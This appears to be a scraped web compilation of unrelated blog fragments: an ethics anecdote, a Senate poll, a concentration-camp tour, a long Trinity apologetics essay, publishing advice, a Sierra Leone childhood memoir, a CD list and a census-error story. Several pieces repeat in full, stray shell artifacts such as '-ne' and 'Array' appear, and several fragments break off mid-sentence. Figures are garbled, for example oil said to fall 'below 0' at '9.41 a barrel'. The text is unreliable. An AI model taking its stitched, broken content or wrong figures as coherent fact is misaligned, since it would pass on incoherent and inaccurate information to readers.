dutiful services for those whom we hope will assist us in the future; what, then, ought we to be like towards those who have already assisted us? (Adkins)Since I agree with Aristotle that the point of studying ethics is not simply to know what virtue is but also to become good (and that these may come apart), during the Mayweek Seminar I decided at one point to attempt to put this advice into practice.At lunch with some graduate students I found myself short for paying my share of the tab. One student kindly lent me £2. The next day, I purposefully brought to the seminar £3 in change, and, when this student was leaving the room at the end of the session, I placed that sum in his hand. He had a chance to look at the money and count it before he went out the door, and then he turned to me and said, It was onlylink

A new Rasmussen Reports poll shows the Virginia Senate race narrowing, but Allen still leads from what is traditionally considered safe territory, above 50% (Apr number in parentheses):George Allen (R) 51% (50%)Jim Webb (D) 41% (30%)

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-ne This summer I will be going to California for two weeks and I will go to Boy Scout camp for two weeks also.
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-ne Our tour took on a somber note when we visited Bergen-Belsen Concentration Camp. This camp started as a Soviet POW camp. The visit included a tour through an educational display, a movie about the camp liberation and a walk through the former grounds of the camp. The mass graves of the 70,000 victims still remain.On a lighter note…The tour continued on to Salzgitter where we toured a Cargill multi-product plant that produces malt from local barley and crushes and refines local rapeseeds into vegetable oil.
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-ne Dear everyone, how are you?Thank you to those of you who came out last night to the ECFhousekeeping meeting.Tomorrow we will be meeting at our usual time and place:7.30pmBelfer 601ThursdayThere aren’t too many meetings left for the semester, so come outand enjoy.Also, this weekend, the seniors will be around for their graduation,so we will try to get together with them for a meal in the Bronx.Right now it looks like Saturday early dinner (~5 or 6?) will bebest for all the seniors to be there.
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Hopefully this will become so uneventful that I won’t even need to report it unless something bad happens.
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so after searching in google i found that this software require xorg-x11-develhttp://www.linuxquestions.org/questions/history/321701now i’m downloading X11R6.8.2 Release using CVS method..http://xorg.freedesktop.org/wiki/X11R682Release?action=showi don’t know what will happen then..
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Array-ne For more information:www.wholeart.orgwww.barntheatre.comwww.kvm.kvcc.edu
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-ne This summer I will be going to California for two weeks and I will go to Boy Scout camp for two weeks also.
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-ne Our tour took on a somber note when we visited Bergen-Belsen Concentration Camp. This camp started as a Soviet POW camp. The visit included a tour through an educational display, a movie about the camp liberation and a walk through the former grounds of the camp. The mass graves of the 70,000 victims still remain.On a lighter note…The tour continued on to Salzgitter where we toured a Cargill multi-product plant that produces malt from local barley and crushes and refines local rapeseeds into vegetable oil.
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-ne Dear everyone, how are you?Thank you to those of you who came out last night to the ECFhousekeeping meeting.Tomorrow we will be meeting at our usual time and place:7.30pmBelfer 601ThursdayThere aren’t too many meetings left for the semester, so come outand enjoy.Also, this weekend, the seniors will be around for their graduation,so we will try to get together with them for a meal in the Bronx.Right now it looks like Saturday early dinner (~5 or 6?) will bebest for all the seniors to be there.
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Hopefully this will become so uneventful that I won’t even need to report it unless something bad happens.
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so after searching in google i found that this software require xorg-x11-develhttp://www.linuxquestions.org/questions/history/321701now i’m downloading X11R6.8.2 Release using CVS method..http://xorg.freedesktop.org/wiki/X11R682Release?action=showi don’t know what will happen then..
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This is moved over from Forgotten Prophets. It was originally posted as a response to a series of exchanges between myself and Youssef, a Moslem advocate based in the Middle East. Here’s an excerpt from one of my own little efforts, The Serpent in Babel (which deals with the very most ancient of ancient history). The following was a bit of a digression from the major theme, but it seemed relevant, and is more relevant, here, given some of our conversations. So:The earliest line-writing, on pre-cunei­form tablets, repre­sented the idea of God by using the symbol of three stars; this was sim­plified over time as a single star, which was further stylized into the precise form of a cross, which again was sim­plified into a sin­gle line. It takes no imagination at all to find here the Trinity, the Crucifixion, and the One God.God manifests Himself in this universe as One God, who makes Himself known in three Per­sons. These three Persons, who are One, are known as the Father, the Son, and the Holy Spirit. This is, to our nat­ural minds, a par­adox: how can one God be three persons? Shod­dy objec­tions abound, such as one plus one plus one do not equal one; to this, we need only reply that one times one times one does equal one. But the issue tran­scends mere fal­lacious reasoning. We cer­tainly cannot compre­hend the true subtlety of the Trini­ty, any more than we can com­prehend that light is both a particle and a wave. But we can appre­hend it. We do not master this idea, but we can recognize that it is true.The idea of incomprehensible, un­provable truths is not in the least a religious one. It is the very heart of modern mathematics and physics, as demon­strated by, say, Gödel’s In­completeness Theorem (which says the axioms of a system cannot be used to prove itself — a higher set of axioms must always be appealed to), or by Heisenberg’s Uncer­tainty Principle (which says that either the velocity or the location of a specific elec­tron at a given moment can be known, but not both — by choosing one, you exclude the possi­bil­ity of knowing the other). Singu­lari­ties and quarks and virtual parti­cles, and the square-root of negative one and non-Eu­cli­dian geome­try and the concept of infin­ity — all partake of the nature of things that are true, but not compre­hendible.On a more mundane level, we find the very fundaments of the universe affirm­ing the Trin­ity. In its broadest aspect, na­ture is a tri­nity, of space, matter and time. There is no universe without these, and these do not exist without each other. Again, each of these is itself a trinity. Space is height, width and depth; each is fully and completely it­self, and total­ly per­vades space, yet space is not any one of these things, but all of them together. Matter is energy, movement, and phenomena — power, action and effect — motive, motion and mani­festa­tion. Time is past, present and fu­ture; it is not any abso­lute division of these, but the fluid interac­tion of all three.As for human existence, it is experi­enced in space, exhib­ited by matter, and understood through time. We are body, mind or soul, and spirit; not mere matter, but some animating force; not mere mind, but tangible and eter­nal; not spirit alone, but physical and con­ceptual. Even our minds are a trinity, of in­tellect, emotion and will.It is certainly true that the Bible no­where uses the term Trinity, but we must dismiss out of hand such a vapid argu­ment, since nowhere does the Bible use the word toenail — yet of course there are such things. An argument from silence is a logical fallacy. Compe­tent study, in fact, reveals that the concept of the Trinity is spread throughout scripture in an unmistak­able way.Whatever it is that a man worships, and prays to, and turns to for deliv­er­ance, this is his god (Is 44:7,17). The Bible tells us to worship Jesus, and He receives it (Phili 2:10, Heb 1:6; Lk 24:52). Steven prays to Jesus (Acts 7:59), and of course Jesus is the Deliv­erer. We are told in many places, expli­citly, that Jesus, the Word, is God (Jn 1:1,14). Witness the fol­lowing: “Christ, who is God over all, forever praised” (Rom 9:5); the “righteousness of our God and Saviour Jesus Christ” (2P 1:1 — compare with 2P 3:18); the “glo­rious appear­ing of our great God and Sav­ior Jesus Christ” (Titus 2:13); about the Son, God (the Father) says, “Your throne, O God, is forever and ever” (Heb 1:8); doubting Thomas finally answered Jesus by calling him “My Lord and my God” (Jn 20:28). We are told that it is the blood of God that was shed (Acts 20:28), redeem­ing the lost. Of the Mes­siah, we are told: “Be­hold, the virgin shall be with child, and bear a Son, and they shall call His name Immanuel, which is trans­lated, ‘God with us.’” (Mt 1:23, cf. Is 7:14). Con­si­dering the fact that here we have Matthew, Luke, John, Peter, Thomas, Paul and the writer of He­brews, all teaching the doctrine that Jesus is God — surely this is sufficient testimo­ny.As for the Holy Spirit, He is called God in a number of places (Acts 5:3-4; 1Cor 6:19,21; Lk 1:68,70 compared with Acts 1:16; 1Cor 3:16 with 2Cor 6:16, Jer 10:10; Ps 78:17‑18 with Is 63:10; Deut 32:12 with Is 63:14; Is 6:8-9 with Acts 28:25‑26; 2Cor 3:17). He is the Creator (Gen 1:2, Ps 33:6, 104:14-16,30, Job 26:13). He is eternal (Heb 9:14), sovereign (Jn 3:8, 1Cor 12:11), omnipres­ent (Ps 139:7), omni­scient (1Cor 2:10), and omnipotent (Micah 2:7). He is holy (Rom 1:4) and good (Neh 9:20, Ps 143:10 com­pared with Mt 19:17), and can be blasphemed (Mk 3:29‑30).He is so much identified as a person of the Godhead, that against the rules of Greek grammar, He is called ‘He’, instead of by the neuter pronoun, as proper gram­mar would demand (Jn 15:26, 16:13-14). The Spirit speaks with a voice (cf. Heb 10:15; Act 10:19, 13:2; Jer 31:31; Eze 2:1‑3, 3:24, 8:11,43‑44). He has a sense of self-identity (Acts 13:2), and He has the three at­tributes of personali­ty, in mind, emotions and will. Thus, the Father knows the mind of the Spirit (Rom 8:27), and the Spirit searches, and knows the depths of the mind of God (1Cor 2:10-11). The Holy Spi­rit loves (Rom 15:30), grieves (Eph 4:30), is vexed (Is 63:10), kind (Ps 143:10), and de­sires (Jn 3:8). He wills (1Cor 12:11), is obeyed (Acts 10), and forbids (Acts 16:6,7). I have counted at least 39 separate types of actions which the Spirit is explicitly said to have done, all of which demand His being a person and / or God.So, a fair understanding of the teaching of the Bible rec­og­nizes that the Father, the Son, and the Spirit are all identi­fied as God. Yet there is only one God, who somehow par­takes in some sort of plurality. We know this from the Bible, as in the very word for God, Elohim, which is a singular root with a plu­ral ending; this ending is not that Hebrew parti­cle which indi­cates a plural of two, but rath­er of three or more. Now, while elohim is used of mere men, as of judges or rul­ers, this use is employed only long after the word was used of God. If this were the only example of an indi­cation of the Trinity, we would cer­tainly dismiss it as an example of the semitic usage of the plural of majes­ty — something like the royal we, to indicate I. But taken in context, we cannot escape the plural­ity of God.In Deut 6:4, we have the great declaration of Hebrew monotheism, “Hear, O Israel: The Lord our God, the Lord is One.” What could be more plain? Yet the word for ‘one’, here, is ‘achad. In Hebrew there is a word for an abso­lute unity, ‘iysh, used of an individual — an in-divide-able. Then there is the word of a composite unity, a single thing which in some manner is made up of parts. Thus a mar­ried couple, which becomes one flesh, is ‘achad flesh; a bunch of grapes is an ‘achad of grapes. And the Lord our God, the Lord is achad — a composite unity.” When we consider that a much better word was available, if the intent had been to indicate a God of the Mos­lem type — utterly monolithic — then we are safe in concluding that achad, a com­posite unity, was chosen for a purpose.So, while we cheerfully affirm that the Bible does­ not con­tain the word Trinity, it certainly contains words which indi­cate the Trinity. Just as gravity is not in any way visible, yet its effect is everywhere — so with the Trinity: it is im­plicit, throughout the entire Bible. While this in itself is not proof that the universe actually is ruled by the Triune God, it is proof that the Bible, Old Testament and New, teaches that God is Triune.The question may well be asked, Why must we search this out? Why isnt the Trinity explicitly stated? To this, we can reply only with reasoned guesses. Perhaps, in the pro­phets efforts to combat idolatry and polythe­ism, the triunity of God was left implicit, to establish the correct concept of monothe­ism
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Chief among them was to cut his very long manuscript to a length more suitable for the genre.The writer listened to what he had been told and reworked the entire manuscript, cutting it down to a reasonable length and incorporating the other suggestions he’d received. A big clue that this writer’s manuscript was not ready was that he had begun marketing without having done any research into the appropriate number of words for a manuscript in his genre. The agent had said to go ahead and re-submit a previously rejected manuscript without making any mention of the fact that it had been sent before.A thoughtful member of the loop reminded everyone of Madeleine L’Engle’s struggles to get her novel, A Wrinkle in Time published.For those of you not familiar with L’Engle, she is now 78 years old. L’Engle insisted they publish it as a children’s book and, according to RH, it was the beginning of the FSG children’s list.The book was a runaway success (the Harry Potter of its day) and won the coveted Newbery Medal in 1963.I’m telling you all this just to underscore that you can do EVERYTHING right and still not get published or do EVERYTHING WRONG and be a success story.
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Bush could help break the diplomatic impasse.Oil falls below 0 on Iran hopes(Oh, Hells no!)LONDON, England (Reuters) — Oil fell below 0 on Monday on hopes tension over Iran’s nuclear ambition will ease after Tehran made an unprecedented move to contact Washington.U.S. light crude for June delivery was down 78 cents to 9.41 a barrel.
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Brad asked for more about my years in Sierra Leone. Though it’s something I’ve considered writing more about for quite a while, I don’t have time now, so instead I’ll repost the one previous post I’ve written about Sierra Leone. Besides, if I’m going to start recycling posts, I can think of worse blog fodder.In the summer of 1993, the great Mississippi, docile river of life1 that it usually is, swam right out of its banks. That same summer, I revoltingly discovered what it was to be an American boy.Having traded Freetown, Sierra Leone for Janesville, Wisconsin, my brother and I — nearly seven and barely ten, respectively — were strangers in a strange land. After three years in the third world jungle environ of West Africa, where my father had served as a mechanic for a bible translation team, we were now lost. Clueless among our peers, we were completely without friends, save each other. As the summer’s short showers and powerful downbursts continued, the Mississippi swelled and our comfort in this new place shrank.The strangeness of this new place — America — was overwhelming. Everything was too fast, too intense, too overdone: we had met a nation that refused to see context, didn’t want to know the realities of the big picture, and with its massive ego, couldn’t get over itself.The peak of the floods came in June and July, as large storms repeatedly battered the Midwest. Both the Mississippi and its tributaries, already pregnant, birthed chaos into the surrounding areas; after poundings like the one Cedar Rapids received on July 4th and 5th (six inches in two days),2 there was simply more water than there was space for. Other communities were similarly ravaged; all told, the flooding accounted for 52 deaths, 56,000 homes damaged, and 70,000 displaced.3Josh and I watched the news unaffected. Mired in civil war two years when we left, Sierra Leone had seen much worse; yet none of the war’s suffering casualties ever received a fraction of the flood’s fanfare. A civil war paid for with tens of thousands of lives4 and costing the displacement of well over two million people (almost half the nation’s population) — that was tragedy. In a war known for its brutality, Sierra Leone was ripped apart by campaigns of terror, widespread rape, childhood conscription (usually at machete-point), and every conceivable form of mutilation.In 1992’s coup, my brother and I had front-row seats when Lieutenant Valentine Strasser, just twenty-six, became the world’s youngest head of state. Living just uphill from the army barracks, we at first thought the tracer bullets whizzing over our roof were fireworks. Evacuated in great big us military c-130’s a few days later, the experience put a damper in our compassion for the Midwest’s plight. We had seen upheaval, and this flood was not it.News coverage portrayed the flood as great tragedy. We had seen senseless tragedy, and my brother and I knew that there was a bigger world outside the United States. This flood, preventable with better planning, was neither tragic nor senseless.Tragedy was a way of Sierra Leonean life, yet what I remember best of gaunt bony friends is their smiling faces, laughing “tamarrah” — always tomorrow. What wasn’t done today could be done then; life was not for rushing, but for enjoying. This was in a country with a life expectancy of forty or forty-five.5Now in America, with its life expectancy of seventy-five or eighty,6 what we saw saddened us. In a country full of comforts, smiling faces were rare; instead, we saw serious faces, full of worry, even as they sat atop those bloated fat bodies of theirs, exclaiming that what could be done tomorrow was better done today. Americans, we thought, were fat and stupid.Sadder still was riding our bikes past Woodman’s. The main grocery store in Janesville, it dwarfed both of Freetown’s main hotels;7 when Josh and I pedaled by, it physically hurt my eyes to look, to look and see all the people blithely shopping, piling their overflowing grocery bags into their shiny cars. So great was my contempt for the store that I as a pre-Africa first grader had enjoyed so much, I was unable to pass through its doors again until ninth grade. Grocery store re-acculturation cost me four full years.Hearing complaints about the rain was especially hard that summer; Americans had never really seen rain. The rainy season that pummeled Sierra Leone every year, that was rain. The quick downpours that fell every afternoon from May to December: that was rain. Two hundred inches a year: that was rain.Those complaining American voices never tasted the approaching rain, even as cotton trees let loose their white dander in the quickly hastening breeze. Those complaining voices never saw dark walls of September rain cross the black Atlantic,8 swiftly approaching the shore. Those complaining voices never watched the earth birth a watercolor, from its dull red-brown dust into vibrant and lush greens, both dark and golden, as it did with the first rains of December. They never watched from our veranda as the Atlantic two miles away became clay orange with the soil and garbage streaming off the land in suddenly angrily appearing runoff gullies — rivers, really. Those complaining voices never heard the rains pound on tin roofs, playing wipeout surround-sound loud. They never felt thunder clap deep inside the bones of their breast, rattling their sternum, and they never saw god dwarf every Fourth of July firework show with his original. Those complaining voices never saw a banana leaf umbrella, and they certainly never heard stories of children, none of whom could ever swim, swept out to sea after falling in a racing run-off river.Those complaining voices didn’t know anything about rain; they didn’t know anything about loss. They just didn’t know anything.My disgust at the emptiness of this new world only deepened at church. My brother and I, missing three-hour services, asked how services could close after only an hour. We asked how people sat so still; we longed for the praising, dancing singing passion we remembered. We asked how people sang so quietly, and such tired songs; we wanted the rhythm and bounce of the hymns we loved. We had left church soaked in sweat every Sunday for three years, and not just because of the humidity — we missed that exertion. Everything about church now — it lacked the vividness and worthiness of our old life.School was worse. Church may have been hard, but as the summer sank into fall, our disgust with Americans expanded to include ignorance and superficiality. After three-hour days four days a week, three months a year, we might have expected to lag academically, but instead we were far ahead. Eight-hour days dragged on, as we reviewed material we already knew.Boredom took a toll, but worse yet was the apathy of our classmates, none of whom seemed to appreciate the gifts of living in such a rich country. Unaware that some countries had literacy rates as low as 31% (as did Sierra Leone),9 they thought nothing of America’s 97%.10 Unaware that some countries had poverty rates of 80% or more, they thought America’s 9% was high.11 Their minds were small, I decided.Equally devastating, if not more so, was the social persecution. We were small — 45 lbs, 3′11 in 5th grade for melink

Roughly one-hundred American dollarsThis is what I came up with:1 Talking Heads • Hearing these CDs, I was stunned to realize how much people have swiped from them over the last forty/fifty-something years…)6 De La Soul • De La have tried and gotten close, but nothing beats their 1989…um…landmark debut)7 Talking Heads • Remain In Light (1983) (Yeah, didn’t have much Talking Heads.)8 Marvin Gaye • Let’s Get It On (1973) (How I didn’t have this CD in my collection until now in unforgivable, I tell ya)9 Bob Dylan • Nashville Skyline (1969) (Bob sings in a crazy voice, duets with Johnny Cash and comes up with Lay Lady Lay, which has gotta be one of his best songs)10 Getz/Gilberto •
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This is moved over from Forgotten Prophets. It was originally posted as a response to a series of exchanges between myself and Youssef, a Moslem advocate based in the Middle East. Here’s an excerpt from one of my own little efforts, The Serpent in Babel (which deals with the very most ancient of ancient history). The following was a bit of a digression from the major theme, but it seemed relevant, and is more relevant, here, given some of our conversations. So:The earliest line-writing, on pre-cunei­form tablets, repre­sented the idea of God by using the symbol of three stars; this was sim­plified over time as a single star, which was further stylized into the precise form of a cross, which again was sim­plified into a sin­gle line. It takes no imagination at all to find here the Trinity, the Crucifixion, and the One God.God manifests Himself in this universe as One God, who makes Himself known in three Per­sons. These three Persons, who are One, are known as the Father, the Son, and the Holy Spirit. This is, to our nat­ural minds, a par­adox: how can one God be three persons? Shod­dy objec­tions abound, such as one plus one plus one do not equal one; to this, we need only reply that one times one times one does equal one. But the issue tran­scends mere fal­lacious reasoning. We cer­tainly cannot compre­hend the true subtlety of the Trini­ty, any more than we can com­prehend that light is both a particle and a wave. But we can appre­hend it. We do not master this idea, but we can recognize that it is true.The idea of incomprehensible, un­provable truths is not in the least a religious one. It is the very heart of modern mathematics and physics, as demon­strated by, say, Gödel’s In­completeness Theorem (which says the axioms of a system cannot be used to prove itself — a higher set of axioms must always be appealed to), or by Heisenberg’s Uncer­tainty Principle (which says that either the velocity or the location of a specific elec­tron at a given moment can be known, but not both — by choosing one, you exclude the possi­bil­ity of knowing the other). Singu­lari­ties and quarks and virtual parti­cles, and the square-root of negative one and non-Eu­cli­dian geome­try and the concept of infin­ity — all partake of the nature of things that are true, but not compre­hendible.On a more mundane level, we find the very fundaments of the universe affirm­ing the Trin­ity. In its broadest aspect, na­ture is a tri­nity, of space, matter and time. There is no universe without these, and these do not exist without each other. Again, each of these is itself a trinity. Space is height, width and depth; each is fully and completely it­self, and total­ly per­vades space, yet space is not any one of these things, but all of them together. Matter is energy, movement, and phenomena — power, action and effect — motive, motion and mani­festa­tion. Time is past, present and fu­ture; it is not any abso­lute division of these, but the fluid interac­tion of all three.As for human existence, it is experi­enced in space, exhib­ited by matter, and understood through time. We are body, mind or soul, and spirit; not mere matter, but some animating force; not mere mind, but tangible and eter­nal; not spirit alone, but physical and con­ceptual. Even our minds are a trinity, of in­tellect, emotion and will.It is certainly true that the Bible no­where uses the term Trinity, but we must dismiss out of hand such a vapid argu­ment, since nowhere does the Bible use the word toenail — yet of course there are such things. An argument from silence is a logical fallacy. Compe­tent study, in fact, reveals that the concept of the Trinity is spread throughout scripture in an unmistak­able way.Whatever it is that a man worships, and prays to, and turns to for deliv­er­ance, this is his god (Is 44:7,17). The Bible tells us to worship Jesus, and He receives it (Phili 2:10, Heb 1:6; Lk 24:52). Steven prays to Jesus (Acts 7:59), and of course Jesus is the Deliv­erer. We are told in many places, expli­citly, that Jesus, the Word, is God (Jn 1:1,14). Witness the fol­lowing: “Christ, who is God over all, forever praised” (Rom 9:5); the “righteousness of our God and Saviour Jesus Christ” (2P 1:1 — compare with 2P 3:18); the “glo­rious appear­ing of our great God and Sav­ior Jesus Christ” (Titus 2:13); about the Son, God (the Father) says, “Your throne, O God, is forever and ever” (Heb 1:8); doubting Thomas finally answered Jesus by calling him “My Lord and my God” (Jn 20:28). We are told that it is the blood of God that was shed (Acts 20:28), redeem­ing the lost. Of the Mes­siah, we are told: “Be­hold, the virgin shall be with child, and bear a Son, and they shall call His name Immanuel, which is trans­lated, ‘God with us.’” (Mt 1:23, cf. Is 7:14). Con­si­dering the fact that here we have Matthew, Luke, John, Peter, Thomas, Paul and the writer of He­brews, all teaching the doctrine that Jesus is God — surely this is sufficient testimo­ny.As for the Holy Spirit, He is called God in a number of places (Acts 5:3-4; 1Cor 6:19,21; Lk 1:68,70 compared with Acts 1:16; 1Cor 3:16 with 2Cor 6:16, Jer 10:10; Ps 78:17‑18 with Is 63:10; Deut 32:12 with Is 63:14; Is 6:8-9 with Acts 28:25‑26; 2Cor 3:17). He is the Creator (Gen 1:2, Ps 33:6, 104:14-16,30, Job 26:13). He is eternal (Heb 9:14), sovereign (Jn 3:8, 1Cor 12:11), omnipres­ent (Ps 139:7), omni­scient (1Cor 2:10), and omnipotent (Micah 2:7). He is holy (Rom 1:4) and good (Neh 9:20, Ps 143:10 com­pared with Mt 19:17), and can be blasphemed (Mk 3:29‑30).He is so much identified as a person of the Godhead, that against the rules of Greek grammar, He is called ‘He’, instead of by the neuter pronoun, as proper gram­mar would demand (Jn 15:26, 16:13-14). The Spirit speaks with a voice (cf. Heb 10:15; Act 10:19, 13:2; Jer 31:31; Eze 2:1‑3, 3:24, 8:11,43‑44). He has a sense of self-identity (Acts 13:2), and He has the three at­tributes of personali­ty, in mind, emotions and will. Thus, the Father knows the mind of the Spirit (Rom 8:27), and the Spirit searches, and knows the depths of the mind of God (1Cor 2:10-11). The Holy Spi­rit loves (Rom 15:30), grieves (Eph 4:30), is vexed (Is 63:10), kind (Ps 143:10), and de­sires (Jn 3:8). He wills (1Cor 12:11), is obeyed (Acts 10), and forbids (Acts 16:6,7). I have counted at least 39 separate types of actions which the Spirit is explicitly said to have done, all of which demand His being a person and / or God.So, a fair understanding of the teaching of the Bible rec­og­nizes that the Father, the Son, and the Spirit are all identi­fied as God. Yet there is only one God, who somehow par­takes in some sort of plurality. We know this from the Bible, as in the very word for God, Elohim, which is a singular root with a plu­ral ending; this ending is not that Hebrew parti­cle which indi­cates a plural of two, but rath­er of three or more. Now, while elohim is used of mere men, as of judges or rul­ers, this use is employed only long after the word was used of God. If this were the only example of an indi­cation of the Trinity, we would cer­tainly dismiss it as an example of the semitic usage of the plural of majes­ty — something like the royal we, to indicate I. But taken in context, we cannot escape the plural­ity of God.In Deut 6:4, we have the great declaration of Hebrew monotheism, “Hear, O Israel: The Lord our God, the Lord is One.” What could be more plain? Yet the word for ‘one’, here, is ‘achad. In Hebrew there is a word for an abso­lute unity, ‘iysh, used of an individual — an in-divide-able. Then there is the word of a composite unity, a single thing which in some manner is made up of parts. Thus a mar­ried couple, which becomes one flesh, is ‘achad flesh; a bunch of grapes is an ‘achad of grapes. And the Lord our God, the Lord is achad — a composite unity.” When we consider that a much better word was available, if the intent had been to indicate a God of the Mos­lem type — utterly monolithic — then we are safe in concluding that achad, a com­posite unity, was chosen for a purpose.So, while we cheerfully affirm that the Bible does­ not con­tain the word Trinity, it certainly contains words which indi­cate the Trinity. Just as gravity is not in any way visible, yet its effect is everywhere — so with the Trinity: it is im­plicit, throughout the entire Bible. While this in itself is not proof that the universe actually is ruled by the Triune God, it is proof that the Bible, Old Testament and New, teaches that God is Triune.The question may well be asked, Why must we search this out? Why isnt the Trinity explicitly stated? To this, we can reply only with reasoned guesses. Perhaps, in the pro­phets efforts to combat idolatry and polythe­ism, the triunity of God was left implicit, to establish the correct concept of monothe­ism
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Chief among them was to cut his very long manuscript to a length more suitable for the genre.The writer listened to what he had been told and reworked the entire manuscript, cutting it down to a reasonable length and incorporating the other suggestions he’d received. A big clue that this writer’s manuscript was not ready was that he had begun marketing without having done any research into the appropriate number of words for a manuscript in his genre. The agent had said to go ahead and re-submit a previously rejected manuscript without making any mention of the fact that it had been sent before.A thoughtful member of the loop reminded everyone of Madeleine L’Engle’s struggles to get her novel, A Wrinkle in Time published.For those of you not familiar with L’Engle, she is now 78 years old. L’Engle insisted they publish it as a children’s book and, according to RH, it was the beginning of the FSG children’s list.The book was a runaway success (the Harry Potter of its day) and won the coveted Newbery Medal in 1963.I’m telling you all this just to underscore that you can do EVERYTHING right and still not get published or do EVERYTHING WRONG and be a success story.
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Bush could help break the diplomatic impasse.Oil falls below 0 on Iran hopes(Oh, Hells no!)LONDON, England (Reuters) — Oil fell below 0 on Monday on hopes tension over Iran’s nuclear ambition will ease after Tehran made an unprecedented move to contact Washington.U.S. light crude for June delivery was down 78 cents to 9.41 a barrel.
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Brad asked for more about my years in Sierra Leone. Though it’s something I’ve considered writing more about for quite a while, I don’t have time now, so instead I’ll repost the one previous post I’ve written about Sierra Leone. Besides, if I’m going to start recycling posts, I can think of worse blog fodder.In the summer of 1993, the great Mississippi, docile river of life1 that it usually is, swam right out of its banks. That same summer, I revoltingly discovered what it was to be an American boy.Having traded Freetown, Sierra Leone for Janesville, Wisconsin, my brother and I — nearly seven and barely ten, respectively — were strangers in a strange land. After three years in the third world jungle environ of West Africa, where my father had served as a mechanic for a bible translation team, we were now lost. Clueless among our peers, we were completely without friends, save each other. As the summer’s short showers and powerful downbursts continued, the Mississippi swelled and our comfort in this new place shrank.The strangeness of this new place — America — was overwhelming. Everything was too fast, too intense, too overdone: we had met a nation that refused to see context, didn’t want to know the realities of the big picture, and with its massive ego, couldn’t get over itself.The peak of the floods came in June and July, as large storms repeatedly battered the Midwest. Both the Mississippi and its tributaries, already pregnant, birthed chaos into the surrounding areas; after poundings like the one Cedar Rapids received on July 4th and 5th (six inches in two days),2 there was simply more water than there was space for. Other communities were similarly ravaged; all told, the flooding accounted for 52 deaths, 56,000 homes damaged, and 70,000 displaced.3Josh and I watched the news unaffected. Mired in civil war two years when we left, Sierra Leone had seen much worse; yet none of the war’s suffering casualties ever received a fraction of the flood’s fanfare. A civil war paid for with tens of thousands of lives4 and costing the displacement of well over two million people (almost half the nation’s population) — that was tragedy. In a war known for its brutality, Sierra Leone was ripped apart by campaigns of terror, widespread rape, childhood conscription (usually at machete-point), and every conceivable form of mutilation.In 1992’s coup, my brother and I had front-row seats when Lieutenant Valentine Strasser, just twenty-six, became the world’s youngest head of state. Living just uphill from the army barracks, we at first thought the tracer bullets whizzing over our roof were fireworks. Evacuated in great big us military c-130’s a few days later, the experience put a damper in our compassion for the Midwest’s plight. We had seen upheaval, and this flood was not it.News coverage portrayed the flood as great tragedy. We had seen senseless tragedy, and my brother and I knew that there was a bigger world outside the United States. This flood, preventable with better planning, was neither tragic nor senseless.Tragedy was a way of Sierra Leonean life, yet what I remember best of gaunt bony friends is their smiling faces, laughing “tamarrah” — always tomorrow. What wasn’t done today could be done then; life was not for rushing, but for enjoying. This was in a country with a life expectancy of forty or forty-five.5Now in America, with its life expectancy of seventy-five or eighty,6 what we saw saddened us. In a country full of comforts, smiling faces were rare; instead, we saw serious faces, full of worry, even as they sat atop those bloated fat bodies of theirs, exclaiming that what could be done tomorrow was better done today. Americans, we thought, were fat and stupid.Sadder still was riding our bikes past Woodman’s. The main grocery store in Janesville, it dwarfed both of Freetown’s main hotels;7 when Josh and I pedaled by, it physically hurt my eyes to look, to look and see all the people blithely shopping, piling their overflowing grocery bags into their shiny cars. So great was my contempt for the store that I as a pre-Africa first grader had enjoyed so much, I was unable to pass through its doors again until ninth grade. Grocery store re-acculturation cost me four full years.Hearing complaints about the rain was especially hard that summer; Americans had never really seen rain. The rainy season that pummeled Sierra Leone every year, that was rain. The quick downpours that fell every afternoon from May to December: that was rain. Two hundred inches a year: that was rain.Those complaining American voices never tasted the approaching rain, even as cotton trees let loose their white dander in the quickly hastening breeze. Those complaining voices never saw dark walls of September rain cross the black Atlantic,8 swiftly approaching the shore. Those complaining voices never watched the earth birth a watercolor, from its dull red-brown dust into vibrant and lush greens, both dark and golden, as it did with the first rains of December. They never watched from our veranda as the Atlantic two miles away became clay orange with the soil and garbage streaming off the land in suddenly angrily appearing runoff gullies — rivers, really. Those complaining voices never heard the rains pound on tin roofs, playing wipeout surround-sound loud. They never felt thunder clap deep inside the bones of their breast, rattling their sternum, and they never saw god dwarf every Fourth of July firework show with his original. Those complaining voices never saw a banana leaf umbrella, and they certainly never heard stories of children, none of whom could ever swim, swept out to sea after falling in a racing run-off river.Those complaining voices didn’t know anything about rain; they didn’t know anything about loss. They just didn’t know anything.My disgust at the emptiness of this new world only deepened at church. My brother and I, missing three-hour services, asked how services could close after only an hour. We asked how people sat so still; we longed for the praising, dancing singing passion we remembered. We asked how people sang so quietly, and such tired songs; we wanted the rhythm and bounce of the hymns we loved. We had left church soaked in sweat every Sunday for three years, and not just because of the humidity — we missed that exertion. Everything about church now — it lacked the vividness and worthiness of our old life.School was worse. Church may have been hard, but as the summer sank into fall, our disgust with Americans expanded to include ignorance and superficiality. After three-hour days four days a week, three months a year, we might have expected to lag academically, but instead we were far ahead. Eight-hour days dragged on, as we reviewed material we already knew.Boredom took a toll, but worse yet was the apathy of our classmates, none of whom seemed to appreciate the gifts of living in such a rich country. Unaware that some countries had literacy rates as low as 31% (as did Sierra Leone),9 they thought nothing of America’s 97%.10 Unaware that some countries had poverty rates of 80% or more, they thought America’s 9% was high.11 Their minds were small, I decided.Equally devastating, if not more so, was the social persecution. We were small — 45 lbs, 3′11 in 5th grade for melink

Roughly one-hundred American dollarsThis is what I came up with:1 Talking Heads • Hearing these CDs, I was stunned to realize how much people have swiped from them over the last forty/fifty-something years…)6 De La Soul • De La have tried and gotten close, but nothing beats their 1989…um…landmark debut)7 Talking Heads • Remain In Light (1983) (Yeah, didn’t have much Talking Heads.)8 Marvin Gaye • Let’s Get It On (1973) (How I didn’t have this CD in my collection until now in unforgivable, I tell ya)9 Bob Dylan • Nashville Skyline (1969) (Bob sings in a crazy voice, duets with Johnny Cash and comes up with Lay Lady Lay, which has gotta be one of his best songs)10 Getz/Gilberto •
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Array Thats just not possible.”Concerned that other genealogists might be led astray by faulty census data, Kimball immediately contacted the National Archives and notified them of the problem.”We were very glad to hear from Glen,” says RoseAnn Polensky, who runs the Historical Census Department at the Archives. Companies like Ancestry.com and HeritageQuest Online have pledged to take down any census records found to be erroneous.Polensky notes that Glen Kimballs action has sparked an internal review at the Archives.Could other bad information have gotten through?
